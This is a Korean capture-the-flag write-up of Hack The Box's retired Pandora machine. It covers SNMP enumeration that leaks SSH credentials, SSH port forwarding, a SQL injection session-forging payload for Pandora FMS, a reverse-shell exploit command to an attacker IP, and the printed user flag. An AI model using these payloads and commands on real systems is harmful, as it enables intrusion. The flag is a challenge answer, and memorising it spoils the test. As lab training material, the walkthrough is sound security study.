← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Pandora

SNMP 정보 노출과 SSH 포트포워딩을 이용한 내부 웹 서비스 취약점 분석.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

Pandora

Pandora — 실습 화면 1

tcp 스캔 결과 80 포트가 열려있다.

Pandora — 실습 화면 2

사이트 접속 결과 별 다른 기능없이 뷰 페이지만 나온다.

TCP가 아닐수도 있겠다는 생각에 UDP 스캐닝을 시도.

Pandora — 실습 화면 3

스캔 후 161번이라는 포트가 나왔는데 이걸로 뭘 할 수 있는건 없고 snmpwalk를 사용하기위해 명령어 사용법을 찾아봤다.

snmpwalk -c public -v2c 10.10.11.136

Pandora — 실습 화면 4

결과가 너무 많은 와중에 daniel 이라는 계정과 비밀번호가 노출된 것을 확인하고 SSH 연결.

Pandora — 실습 화면 5

/var/www/디렉토리로 들어가본 결과 pandora 라는 디렉토리가 있는 것을 발견. → pandora 라는 서비스가 있다는 것을 유추할 수 있음.

Pandora — 실습 화면 6

apache configuration 파일을 확인하기 위해 /etc/apache2 디렉토리로 가서 서버 정보를 얻어냈다.

Pandora — 실습 화면 7

Pandora — 실습 화면 8

로컬 포트포워딩을 이용하여 pandora 서비스에 접근한다.

로컬 포트포워딩과 하는 이유

로컬 포트포워딩은 로컬 시스템의 특정 포트를 통해 원격 네트워크 자원에 접근하기 위해 사용하는 SSH 터널링 기법이다. 내 PC의 포트를 터널 입구로 만들어, SSH 세션을 통해 원격 서버의 특정 포트로 안전하게 전달하는 방식이다.

[Client PC:localhost:8080]  ←(SSH 암호화 터널)→  [SSH Server]  →  [Target:Remote Host:80]
  1. 사용자가 로컬PC에서 ssh -L 8080:target:80 user@ssh-server 명령을 실행
  2. 이 명령은 클라이언트(로컬)에서 8080포트로 들어오는 모든 트래픽을 SSH 세션으로 암호화하여 ssh-server로 전송한다.
  3. ssh-server는 해당 트래픽을 target:80(목표 호스트의 80번 포트)으로 전달한다.
  4. 응답 역시 SSH 터널을 통해 되돌아온다. → 결과적으로, 로컬에서 http://localhost:8080으로 접속하면, 실제로는 target:80에 연결되는 것처럼 동작하는것이다.

사용하는 이유

  1. 보안통신
  • 내부망에만 노출된 서비스(MySQL, 웹 서버 등)를 외부에서 직접 연결하지 않고 SSH를 통해 안전하게 접근한다.
  1. 방화벽 우회
  • 방화벽 정책상 특정 포트(ex. 80, 443만 허용)가 막혀 있어도, SSH(22) 터널을 통해 내부 서비스에 접근 할 수 있다.
  1. 테스트 및 진단
  • 로컬에서 원격 서버의 내부 포트를 직접 전달하거나 개발 환경에서 임시로 연결 테스트를 수행할 때 유용하다.
  1. 서비스 프록시
  • 예를 들어 사내망 DB(3306)나 ElasticSearch(9200) 등 외부 접근이 막힌 서비스를 터널링을 통해 로컬에서 사용하게 된다.
$ ssh -L localhost:8000:localhost:80 daniel@10.10.11.136

Pandora — 실습 화면 9

로컬 포트포워딩 성공. 그리고 PANDORA FMS 라는 서비스가 있다.

혹시나 관련 CVE가 있을까 싶어 우선 버전부터 확인하기 위해 설정 파일을 좀 더 찾아봤다.

Pandora — 실습 화면 10

version 1.0.0 인 것을 확인

관련 CVE 서칭 결과 https://github.com/akr3ch/CVE-2021-32099 SQL Injection취약점이 터지는 것을 확인

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1

Pandora — 실습 화면 11

admin으로 접속 성공했고 해당 페이지에서 추가적으로 얻을 수 있는 정보를 확인한 결과

Pandora — 실습 화면 12

Pandora FMS v7.0NG 버전 사용 중인것을 확인. 관련 CVE를 서칭

원문에 첨부된 참고 링크 보기

해당 CVE를 통해 리버스 쉘을 연결 할 수 있었다. 아이디와 비밀번호를 모르니 PHPSESSION을 활용했다.

python3 pandorafms_7.44.py -t http://localhost:8000/ -c 't63es342pmq7hun930t2g74m92' -lhost 10.10.14.9 -lport 1337

Pandora — 실습 화면 13

리버스 쉘에 접속 성공했고 그 다음 home 디렉토리로 넘어 갔다.

Pandora — 실습 화면 14

Pandora — 실습 화면 15

홈 디렉토리에는 daniel 과 matt 두 디렉토리가 있었고 확인 결과 daniel 에는 user flag가 없었고 matt에 있었다.

Pandora — 실습 화면 16

userflag획득 성공.

6ca625667b1e852a89401ac9c7b2d605

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.